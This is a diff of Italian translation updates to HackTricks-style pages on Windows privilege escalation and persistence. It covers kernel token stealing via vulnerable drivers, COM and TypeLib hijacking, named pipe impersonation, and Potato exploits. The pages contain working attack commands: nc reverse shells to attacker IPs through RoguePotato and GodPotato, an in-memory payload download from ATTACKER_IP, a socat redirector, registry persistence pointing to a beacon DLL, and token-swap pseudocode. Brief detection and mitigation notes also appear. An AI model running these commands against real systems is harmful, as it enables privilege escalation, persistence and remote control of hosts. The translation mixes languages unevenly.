-Se un driver vulnerabile espone un IOCTL che dà a un attacker primitive di read e/o write arbitrarie nel kernel, l'elevazione a NT AUTHORITY\SYSTEM può spesso essere ottenuta rubando un access token di SYSTEM. La tecnica copia il Token pointer dall'EPROCESS di un processo SYSTEM nell'EPROCESS del processo corrente.
+Se un driver vulnerabile espone un IOCTL che fornisce a un attacker primitive di lettura e/o scrittura arbitrary nel kernel, elevare a NT AUTHORITY\SYSTEM può spesso essere ottenuto rubando un SYSTEM access token. La tecnica copia il puntatore Token dall'EPROCESS di un processo SYSTEM nell'EPROCESS del processo corrente.
 
 Perché funziona:
-- Ogni processo ha una struttura EPROCESS che contiene (tra gli altri campi) un Token (in realtà un EX_FAST_REF verso un oggetto token).
+- Ogni processo ha una struttura EPROCESS che contiene (tra gli altri campi) un Token (in realtà un EX_FAST_REF a un oggetto token).
 - Il processo SYSTEM (PID 4) possiede un token con tutti i privilegi abilitati.
-- Sostituire l'EPROCESS.Token del processo corrente con il puntatore al token di SYSTEM fa sì che il processo corrente venga eseguito immediatamente come SYSTEM.
+- Sostituendo l'EPROCESS.Token del processo corrente con il puntatore al token di SYSTEM, il processo corrente verrà eseguito come SYSTEM immediatamente.
 
-> Gli offset in EPROCESS variano tra le versioni di Windows. Determinali dinamicamente (simboli) o usa costanti specifiche per la versione. Ricorda inoltre che EPROCESS.Token è un EX_FAST_REF (i 3 bit meno significativi sono flag del conteggio riferimenti).
+> Gli offset in EPROCESS variano tra le versioni di Windows. Determinali dinamicamente (symbols) o usa costanti specifiche per la versione. Ricorda anche che EPROCESS.Token è un EX_FAST_REF (i 3 bit bassi sono flag del reference count).
 
 ## Passaggi ad alto livello
 
 1) Individua la base di ntoskrnl.exe e risolvi l'indirizzo di PsInitialSystemProcess.
-- Da user mode, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers per ottenere le basi dei driver caricati.
+- Dalla modalità utente, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers per ottenere le base dei driver caricati.
 - Aggiungi l'offset di PsInitialSystemProcess (da symbols/reversing) alla base del kernel per ottenere il suo indirizzo.
 2) Leggi il puntatore a PsInitialSystemProcess → questo è un puntatore kernel all'EPROCESS di SYSTEM.
-3) Dall'EPROCESS di SYSTEM, leggi gli offset di UniqueProcessId e ActiveProcessLinks per attraversare la lista doppiamente collegata di strutture EPROCESS (ActiveProcessLinks.Flink/Blink) fino a trovare l'EPROCESS il cui UniqueProcessId è uguale a GetCurrentProcessId(). Mantieni entrambi:
+3) Dall'EPROCESS SYSTEM, leggi gli offset UniqueProcessId e ActiveProcessLinks per attraversare la lista doppiamente collegata delle strutture EPROCESS (ActiveProcessLinks.Flink/Blink) finché non trovi l'EPROCESS il cui UniqueProcessId è uguale a GetCurrentProcessId(). Conserva entrambi:
 - EPROCESS_SYSTEM (per SYSTEM)
 - EPROCESS_SELF (per il processo corrente)
 4) Leggi il valore del token di SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
-- Maschera i 3 bit bassi: Token_SYS_masked = Token_SYS & ~0xF (comunemente ~0xF o ~0x7 a seconda della build; su x64 i 3 bit meno significativi sono usati — mask 0xFFFFFFFFFFFFFFF8).
-5) Option A (common): Conserva i 3 bit bassi dal tuo token corrente e agganciali al puntatore di SYSTEM per mantenere coerente il ref count incorporato.
+- Maschera i 3 bit bassi: Token_SYS_masked = Token_SYS & ~0xF (comunemente ~0xF o ~0x7 a seconda della build; su x64 i 3 bit bassi sono usati — mask 0xFFFFFFFFFFFFFFF8).
+5) Opzione A (comune): conserva i 3 bit bassi dal token corrente e incollali sul puntatore di SYSTEM per mantenere coerente il reference count incorporato.
 - Token_ME = *(EPROCESS_SELF + TokenOffset)
 - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
 6) Scrivi Token_NEW in (EPROCESS_SELF + TokenOffset) usando la tua primitive di kernel write.
 7) Il processo corrente è ora SYSTEM. Facoltativamente avvia un nuovo cmd.exe o powershell.exe per confermare.
 
-## Pseudocodice
+## Pseudocode
 
-Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
+Di seguito uno scheletro che usa solo due IOCTL di un driver vulnerabile, uno per lettura kernel di 8 byte e uno per scrittura kernel di 8 byte. Sostituisci con l'interfaccia del tuo driver.
 ```c
 #include <Windows.h>
 #include <Psapi.h>
@@ -106,14 +106,14 @@ return 0;
 }
 ```
 Note:
-- Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
-- Mask: Su x64 il token è un EX_FAST_REF; i 3 bit bassi sono bit del conteggio riferimenti. Conservare i bit bassi originali del tuo token evita immediate inconsistenze del conteggio riferimenti.
+- Offset: Usa WinDbg’s `dt nt!_EPROCESS` con i PDBs del target, o un runtime symbol loader, per ottenere offset corretti. Non hardcodare ciecamente.
+- Mask: Su x64 il token è un EX_FAST_REF; i 3 bit meno significativi sono bit del conteggio dei riferimenti. Mantenere i bit bassi originali del tuo token evita inconsistenze immediate nel conteggio dei riferimenti.
 - Stability: Preferisci elevare il processo corrente; se elevi un helper di breve durata potresti perdere SYSTEM quando termina.
 
 ## Rilevamento e mitigazione
-- Il caricamento di driver di terze parti non firmati o non affidabili che espongono potenti IOCTLs è la causa principale.
-- Kernel Driver Blocklist (HVCI/CI), DeviceGuard e le regole Attack Surface Reduction possono impedire il caricamento di driver vulnerabili.
-- EDR può monitorare sequenze IOCTL sospette che implementano arbitrary read/write e token swaps.
+- Il caricamento di driver di terze parti non firmati o non attendibili che espongono potenti IOCTLs è la causa principale.
+- Kernel Driver Blocklist (HVCI/CI), DeviceGuard e le regole di Attack Surface Reduction possono impedire il caricamento di driver vulnerabili.
+- EDR può monitorare sequenze IOCTL sospette che implementano arbitrary read/write e gli scambi di token.
 
 ## Riferimenti
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)

src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md

@@ -4,21 +4,21 @@
 
 ### Ricerca di componenti COM inesistenti
 
-Poiché i valori di HKCU possono essere modificati dagli utenti, **COM Hijacking** può essere usato come **meccanismo persistente**. Usando `procmon` è facile trovare voci del registro COM cercate che non esistono, che un attaccante potrebbe creare per ottenere persistenza. Filtri:
+Poiché i valori di HKCU possono essere modificati dagli utenti **COM Hijacking** potrebbe essere usato come **meccanismi persistenti**. Usando `procmon` è facile trovare voci di registro COM cercate che non esistono e che un attaccante potrebbe creare per ottenere persistenza. Filtri:
 
-- **RegOpenKey** operations.
+- operazioni **RegOpenKey**.
 - dove il _Result_ è **NAME NOT FOUND**.
 - e il _Path_ termina con **InprocServer32**.
 
-Una volta deciso quale COM inesistente impersonare, esegui i seguenti comandi. _Fai attenzione se decidi di impersonare un COM che viene caricato ogni pochi secondi, perché potrebbe essere eccessivo._
+Una volta deciso quale COM inesistente impersonare, esegui i seguenti comandi. _Fai attenzione se decidi di impersonare un COM che viene caricato ogni pochi secondi in quanto potrebbe essere eccessivo._
 ```bash
 New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
 New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
 ```
-### Hijackable Task Scheduler COM components
+### Componenti COM hijackable del Task Scheduler
 
-Windows Tasks usano Custom Triggers per chiamare COM objects e, poiché vengono eseguiti tramite il Task Scheduler, è più facile prevedere quando verranno attivati.
+Le Windows Tasks usano Custom Triggers per chiamare COM objects e, poiché vengono eseguite tramite il Task Scheduler, è più facile prevedere quando verranno attivate.
 
 <pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,7 +49,7 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]</code></pre>
 
-Controllando l'output puoi selezionarne uno che verrà eseguito, ad esempio, **ogni volta che un utente effettua il login**.
+Verificando l'output puoi selezionarne una che verrà eseguita, ad esempio, **ogni volta che un utente effettua l'accesso**.
 
 Ora cercando il CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** e in HKLM e HKCU, di solito scoprirai che il valore non esiste in HKCU.
 ```bash
@@ -72,32 +72,32 @@ Name                                   Property
 PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 ```
-A quel punto, puoi semplicemente creare la voce HKCU e, ogni volta che l'utente effettua il login, il tuo backdoor verrà eseguito.
+Then, puoi semplicemente creare la voce HKCU e ogni volta che l'utente effettua il login, il tuo backdoor verrà eseguito.
 
 ---
 
 ## COM TypeLib Hijacking (script: moniker persistence)
 
-Type Libraries (TypeLib) definiscono le interfacce COM e vengono caricate tramite `LoadTypeLib()`. Quando un server COM viene istanziato, il sistema operativo può anche caricare il TypeLib associato consultando le chiavi di registro sotto `HKCR\TypeLib\{LIBID}`. Se il percorso del TypeLib viene sostituito con un **moniker**, ad es. `script:C:\...\evil.sct`, Windows eseguirà lo scriptlet quando il TypeLib verrà risolto – producendo una persistenza furtiva che si attiva quando vengono utilizzati componenti comuni.
+Le Type Libraries (TypeLib) definiscono le interfacce COM e vengono caricate tramite `LoadTypeLib()`. Quando un COM server viene istanziato, il sistema operativo può anche caricare la TypeLib associata consultando le chiavi di registro sotto `HKCR\TypeLib\{LIBID}`. Se il percorso della TypeLib viene sostituito con un **moniker**, ad esempio `script:C:\...\evil.sct`, Windows eseguirà lo scriptlet quando la TypeLib viene risolta — generando una persistència stealth che si attiva quando componenti comuni vengono toccati.
 
-Questo è stato osservato contro il Microsoft Web Browser control (spesso caricato da Internet Explorer, da app che incorporano WebBrowser e persino da `explorer.exe`).
+Questo è stato osservato contro il Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even `explorer.exe`).
 
-### Passaggi (PowerShell)
+### Steps (PowerShell)
 
-1) Identifica il TypeLib (LIBID) utilizzato da un CLSID ad alta frequenza. Esempio di CLSID spesso abusato dalle catene malware: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
+1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
 ```powershell
 $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
 $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
 $ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
 "CLSID=$clsid  LIBID=$libid  VER=$ver"
 ```
-2) Puntare il percorso TypeLib per utente a uno scriptlet locale usando il moniker `script:` (non sono richiesti privilegi di amministratore):
+2) Indirizzare il percorso TypeLib per utente a uno scriptlet locale usando il moniker `script:` (non sono necessari privilegi di amministratore):
 ```powershell
 $dest = 'C:\\ProgramData\\Udate_Srv.sct'
 New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
 Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
 ```
-3) Posiziona un file JScript `.sct` minimo che rilancia il tuo payload principale (es. una `.lnk` usata dalla catena iniziale):
+3) Drop un JScript `.sct` minimale che rilancia il tuo primary payload (ad es. un `.lnk` usato dalla initial chain):
 ```xml
 <?xml version="1.0"?>
 <scriptlet>
@@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
 </script>
 </scriptlet>
 ```
-4) Attivazione – l'apertura di IE, un'applicazione che incorpora il WebBrowser control, o anche la normale attività di Explorer caricherà la TypeLib ed eseguirà lo scriptlet, riarmando la tua chain al logon/reboot.
+4) Attivazione – l'apertura di IE, un'applicazione che incorpora il WebBrowser control, o anche la normale attività di Explorer caricherà la TypeLib ed eseguirà lo scriptlet, riarmando la catena all'accesso/riavvio.
 
 Pulizia
 ```powershell
@@ -124,8 +124,8 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
 Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
 ```
 Note
-- Puoi applicare la stessa logica ad altri componenti COM di uso frequente; risolvi sempre prima il vero `LIBID` da `HKCR\CLSID\{CLSID}\TypeLib`.
-- Su sistemi 64-bit puoi anche popolare la sottochiave `win64` per i consumatori a 64-bit.
+- Puoi applicare la stessa logica ad altri componenti COM ad alta frequenza; risolvi sempre prima il vero `LIBID` da `HKCR\CLSID\{CLSID}\TypeLib`.
+- Su sistemi a 64-bit puoi anche popolare la sottochiave `win64` per i client a 64-bit.
 
 ## Riferimenti
 

src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

@@ -1,30 +1,30 @@
-# Named Pipe client impersonation
+# Named Pipe Client Impersonation
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Named Pipe client impersonation is a local privilege escalation primitive che permette a un thread server di named-pipe di adottare il security context di un client che si connette a esso. In pratica, un attaccante che può eseguire codice con SeImpersonatePrivilege può costringere un client privilegiato (es. un servizio SYSTEM) a connettersi a una pipe controllata dall'attaccante, chiamare ImpersonateNamedPipeClient, duplicare il token risultante in un token primario e avviare un processo come il client (spesso NT AUTHORITY\SYSTEM).
+Named Pipe client impersonation è una primitiva di local privilege escalation che permette a un thread server di named-pipe di adottare il contesto di sicurezza di un client che si connette. In pratica, un attaccante che può eseguire codice con SeImpersonatePrivilege può costringere un client privilegiato (es., un servizio SYSTEM) a connettersi a una pipe controllata dall'attaccante, chiamare ImpersonateNamedPipeClient, duplicare il token risultante in un primary token e avviare un processo come il client (spesso NT AUTHORITY\SYSTEM).
 
-Questa pagina si concentra sulla tecnica di base. Per chain di exploit end-to-end che costringono SYSTEM a connettersi alla tua pipe, vedi le pagine della famiglia Potato riferite sotto.
+Questa pagina si concentra sulla tecnica di base. Per catene di exploit end-to-end che costringono SYSTEM a connettersi alla tua pipe, vedi le pagine della Potato family referenziate più sotto.
 
 ## TL;DR
-- Create a named pipe: \\.\pipe\<random> e attendi una connessione.
-- Fai in modo che un componente privilegiato si connetta ad essa (spooler/DCOM/EFSRPC/etc.).
+- Crea una named pipe: \\.\pipe\<random> e attendi una connessione.
+- Fai in modo che un componente privilegiato si connetta (spooler/DCOM/EFSRPC/etc.).
 - Leggi almeno un messaggio dalla pipe, poi chiama ImpersonateNamedPipeClient.
 - Apri il token di impersonation dal thread corrente, DuplicateTokenEx(TokenPrimary), e usa CreateProcessWithTokenW/CreateProcessAsUser per ottenere un processo SYSTEM.
 
-## Requirements and key APIs
-- Privileges typically needed by the calling process/thread:
+## Requisiti e API principali
+- Privilegi tipicamente necessari al processo/thread chiamante:
 - SeImpersonatePrivilege per impersonare con successo un client che si connette e per usare CreateProcessWithTokenW.
 - In alternativa, dopo aver impersonato SYSTEM, puoi usare CreateProcessAsUser, che può richiedere SeAssignPrimaryTokenPrivilege e SeIncreaseQuotaPrivilege (questi sono soddisfatti quando stai impersonando SYSTEM).
-- Core APIs used:
+- API principali usate:
 - CreateNamedPipe / ConnectNamedPipe
-- ReadFile/WriteFile (devi leggere almeno un messaggio prima dell'impersonation)
+- ReadFile/WriteFile (devi leggere almeno un messaggio prima dell'impersonazione)
 - ImpersonateNamedPipeClient and RevertToSelf
 - OpenThreadToken, DuplicateTokenEx(TokenPrimary)
 - CreateProcessWithTokenW or CreateProcessAsUser
-- Impersonation level: per eseguire azioni utili localmente, il client deve permettere SecurityImpersonation (default per molti client RPC/named-pipe locali). I client possono abbassare questo livello con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION quando aprono la pipe.
+- Livello di impersonation: per eseguire azioni utili localmente, il client deve permettere SecurityImpersonation (impostazione di default per molti client RPC/named-pipe locali). I client possono abbassare questo con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION quando aprono la pipe.
 
-## Minimal Win32 workflow (C)
+## Flusso Win32 minimale (C)
 ```c
 // Minimal skeleton (no error handling hardening for brevity)
 #include <windows.h>
@@ -69,11 +69,11 @@ return 0;
 }
 ```
 Note:
-- Se ImpersonateNamedPipeClient restituisce ERROR_CANNOT_IMPERSONATE (1368), assicurati di leggere dalla pipe prima e che il client non abbia limitato l'impersonation al livello Identification.
-- Preferisci DuplicateTokenEx con SecurityImpersonation e TokenPrimary per creare un token primario adatto alla creazione di un processo.
+- Se ImpersonateNamedPipeClient restituisce ERROR_CANNOT_IMPERSONATE (1368), assicurati di leggere prima dalla pipe e che il client non abbia limitato l'impersonation al livello Identification.
+- Preferire DuplicateTokenEx con SecurityImpersonation e TokenPrimary per creare un token primario adatto alla creazione di processi.
 
 ## .NET esempio rapido
-In .NET, NamedPipeServerStream può eseguire impersonation tramite RunAsClient. Una volta in impersonation, duplica il token del thread e crea un processo.
+In .NET, NamedPipeServerStream può impersonare tramite RunAsClient. Una volta impersonando, duplica il token del thread e crea un processo.
 ```csharp
 using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
 class P {
@@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
 }
 }
 ```
-## Trigger/coercizioni comuni per far connettere SYSTEM alla tua named pipe
-Queste tecniche costringono servizi privilegiati a connettersi alla tua named pipe così puoi impersonarli:
+## Inneschi/coercizioni comuni per ottenere SYSTEM sulla tua named pipe
+These techniques coerce privileged services to connect to your named pipe so you can impersonate them:
 - Print Spooler RPC trigger (PrintSpoofer)
 - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
 - EFSRPC pipes (EfsPotato/SharpEfsPotato)
 
-Vedi utilizzo dettagliato e compatibilità qui:
+Consulta l'uso dettagliato e la compatibilità qui:
 
 -
 {{#ref}}
@@ -110,26 +110,26 @@ roguepotato-and-printspoofer.md
 juicypotato.md
 {{#endref}}
 
-Se ti serve solo un esempio completo di come creare la pipe e impersonare per spawnare SYSTEM da un trigger di servizio, vedi:
+Se ti serve solo un esempio completo di crafting the pipe and impersonating to spawn SYSTEM from a service trigger, vedi:
 
 -
 {{#ref}}
 from-high-integrity-to-system-with-name-pipes.md
 {{#endref}}
 
-## Risoluzione problemi e avvertenze
+## Troubleshooting and gotchas
 - Devi leggere almeno un messaggio dalla pipe prima di chiamare ImpersonateNamedPipeClient; altrimenti otterrai ERROR_CANNOT_IMPERSONATE (1368).
-- Se il client si connette con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, il server non può impersonare completamente; controlla il livello di impersonation del token tramite GetTokenInformation(TokenImpersonationLevel).
-- CreateProcessWithTokenW richiede SeImpersonatePrivilege sul chiamante. Se fallisce con ERROR_PRIVILEGE_NOT_HELD (1314), usa CreateProcessAsUser dopo aver già impersonato SYSTEM.
-- Assicurati che lo security descriptor della tua pipe permetta al servizio target di connettersi se lo hai reso più restrittivo; per default, le pipe sotto \\.\pipe sono accessibili secondo il DACL del server.
+- Se il client si connette con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, il server non può impersonare completamente; verifica il livello di impersonation del token tramite GetTokenInformation(TokenImpersonationLevel).
+- CreateProcessWithTokenW richiede SeImpersonatePrivilege sul chiamante. Se fallisce con ERROR_PRIVILEGE_NOT_HELD (1314), usa CreateProcessAsUser dopo che hai già impersonato SYSTEM.
+- Assicurati che il security descriptor della tua pipe permetta al servizio target di connettersi se lo hai rinforzato; per default, le pipe sotto \\.\pipe sono accessibili secondo la DACL del server.
 
-## Rilevamento e hardening
-- Monitora la creazione e le connessioni delle named pipe. Sysmon Event IDs 17 (Pipe Created) e 18 (Pipe Connected) sono utili per creare una baseline dei nomi di pipe legittimi e individuare pipe insolite, dall'aspetto casuale, che precedono eventi di manipolazione del token.
+## Detection and hardening
+- Monitora la creazione e le connessioni alle named pipe. Sysmon Event IDs 17 (Pipe Created) e 18 (Pipe Connected) sono utili per creare una baseline dei nomi di pipe legittimi e catturare pipe insolite o dall'aspetto casuale che precedono eventi di token-manipulation.
 - Cerca sequenze: un processo crea una pipe, un servizio SYSTEM si connette, poi il processo creatore genera un figlio come SYSTEM.
-- Riduci l'esposizione rimuovendo SeImpersonatePrivilege dagli account di servizio non essenziali ed evitando login di servizio non necessari con privilegi elevati.
-- Defensive development: quando ti connetti a named pipe non attendibili, specifica SECURITY_SQOS_PRESENT con SECURITY_IDENTIFICATION per impedire ai server di impersonare completamente il client a meno che non sia necessario.
+- Riduci l'esposizione rimuovendo SeImpersonatePrivilege dagli account di servizio non essenziali e evitando logon di servizio non necessari con privilegi elevati.
+- Sviluppo difensivo: quando ti connetti a named pipe non attendibili, specifica SECURITY_SQOS_PRESENT con SECURITY_IDENTIFICATION per impedire ai server di impersonare completamente il client a meno che non sia necessario.
 
-## Riferimenti
+## References
 - Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
 - ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
 

src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

@@ -3,12 +3,12 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> **JuicyPotato non funziona** su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** possono essere usati per **ottenere gli stessi privilegi e raggiungere l'accesso a livello `NT AUTHORITY\SYSTEM`**. Questo [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondisce lo strumento `PrintSpoofer`, che può essere usato per abusare dei privilegi di impersonificazione su host Windows 10 e Server 2019 dove JuicyPotato non funziona più.
+> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** possono essere usati per sfruttare gli stessi privilegi e ottenere accesso a livello `NT AUTHORITY\SYSTEM`. Questo [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondisce lo strumento `PrintSpoofer`, che può essere utilizzato per abusare dei privilegi di impersonazione su host Windows 10 e Server 2019 dove JuicyPotato non funziona più.
 
 > [!TIP]
-> Un'alternativa moderna frequentemente mantenuta nel 2024–2025 è SigmaPotato (un fork di GodPotato) che aggiunge l'uso in-memory/.NET reflection e supporto esteso per OS. Vedi l'uso rapido più sotto e il repo nei Riferimenti.
+> Un'alternativa moderna frequentemente mantenuta nel 2024–2025 è SigmaPotato (un fork di GodPotato) che aggiunge l'utilizzo in-memory/.NET reflection e supporto esteso per gli OS. Vedi l'uso rapido qui sotto e il repo in References.
 
-Pagine correlate per contesto e tecniche manuali:
+Related pages for background and manual techniques:
 
 {{#ref}}
 seimpersonate-from-high-to-system.md
@@ -24,21 +24,21 @@ privilege-escalation-abusing-tokens.md
 
 ## Requisiti e problemi comuni
 
-Tutte le seguenti tecniche si basano sull'abuso di un servizio privilegiato con capacità di impersonificazione da un contesto che detiene uno dei seguenti privilegi:
+Tutte le tecniche seguenti si basano sull'abuso di un servizio privilegiato in grado di impersonare da un contesto che possiede uno dei seguenti privilegi:
 
 - SeImpersonatePrivilege (il più comune) o SeAssignPrimaryTokenPrivilege
-- Non è richiesta integrità elevata se il token possiede già SeImpersonatePrivilege (tipico per molti account di servizio come IIS AppPool, MSSQL, ecc.)
+- Non è richiesta l'integrità elevata se il token ha già SeImpersonatePrivilege (tipico per molti account di servizio come IIS AppPool, MSSQL, ecc.)
 
-Verifica rapidamente i privilegi:
+Controlla rapidamente i privilegi:
 ```cmd
 whoami /priv | findstr /i impersonate
 ```
-Note operative:
+Operational notes:
 
-- PrintSpoofer richiede che il servizio Print Spooler sia in esecuzione e raggiungibile tramite l'endpoint RPC locale (spoolss). In ambienti hardenizzati dove lo Spooler è disabilitato dopo PrintNightmare, preferire RoguePotato/GodPotato/DCOMPotato/EfsPotato.
-- RoguePotato richiede un resolver OXID raggiungibile su TCP/135. Se l'egress è bloccato, usare un redirector/port-forwarder (vedi esempio sotto). Build più vecchie richiedevano il flag -f.
-- EfsPotato/SharpEfsPotato abusano di MS-EFSR; se una pipe è bloccata, provare pipe alternative (lsarpc, efsrpc, samr, lsass, netlogon).
-- L'errore 0x6d3 durante RpcBindingSetAuthInfo indica tipicamente un servizio di autenticazione RPC sconosciuto/non supportato; provare una pipe/transport diverso o assicurarsi che il servizio target sia in esecuzione.
+- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
+- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
+- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
+- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.
 
 ## Demo rapida
 
@@ -58,8 +58,8 @@ NULL
 
 ```
 Note:
-- Puoi usare -i per avviare un processo interattivo nella console corrente, oppure -c per eseguire un one-liner.
-- Richiede il servizio Spooler. Se è disabilitato, questo fallirà.
+- Puoi usare -i per avviare un processo interattivo nella console corrente, oppure -c per eseguire una one-liner.
+- Richiede il servizio Spooler. Se disabilitato, questo fallirà.
 
 ### RoguePotato
 ```bash
@@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
 # In some old versions you need to use the "-f" param
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
 ```
-Se outbound 135 è bloccato, pivot the OXID resolver via socat on your redirector:
+Se la porta 135 in uscita è bloccata, pivot l'OXID resolver tramite socat sul tuo redirector:
 ```bash
 # On attacker redirector (must listen on TCP/135 and forward to victim:9999)
 socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
 
 nt authority\system
 ```
-Suggerimento: se una pipe fallisce o l'EDR la blocca, prova le altre pipe supportate:
+Suggerimento: Se una pipe fallisce o l'EDR la blocca, prova le altre pipe supportate:
 ```text
 EfsPotato <cmd> [pipe]
 pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@@ -123,13 +123,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
 > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
 ```
 Note:
-- Funziona su Windows 8/8.1–11 e Server 2012–2022 quando è presente SeImpersonatePrivilege.
+- Funziona su Windows 8/8.1–11 e Server 2012–2022 quando SeImpersonatePrivilege è presente.
 
 ### DCOMPotato
 
 ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
 
-DCOMPotato provides two variants targeting service DCOM objects that default to RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa i binari forniti ed esegui il tuo comando:
+DCOMPotato fornisce due varianti che prendono di mira gli oggetti DCOM dei servizi che per impostazione predefinita usano RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa i binari forniti ed esegui il tuo comando:
 ```cmd
 # PrinterNotify variant
 PrinterNotifyPotato.exe "cmd /c whoami"
@@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
 # McpManagementService variant (Server 2022 also)
 McpManagementPotato.exe "cmd /c whoami"
 ```
-### SigmaPotato (fork di GodPotato aggiornato)
+### SigmaPotato (fork aggiornato di GodPotato)
 
-SigmaPotato aggiunge funzionalità moderne come in-memory execution tramite .NET reflection e un helper per PowerShell reverse shell.
+SigmaPotato aggiunge funzionalità moderne come in-memory execution tramite .NET reflection e un PowerShell reverse shell helper.
 ```powershell
 # Load and execute from memory (no disk touch)
 [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@@ -148,13 +148,13 @@ SigmaPotato aggiunge funzionalità moderne come in-memory execution tramite .NET
 # Or ask it to spawn a PS reverse shell
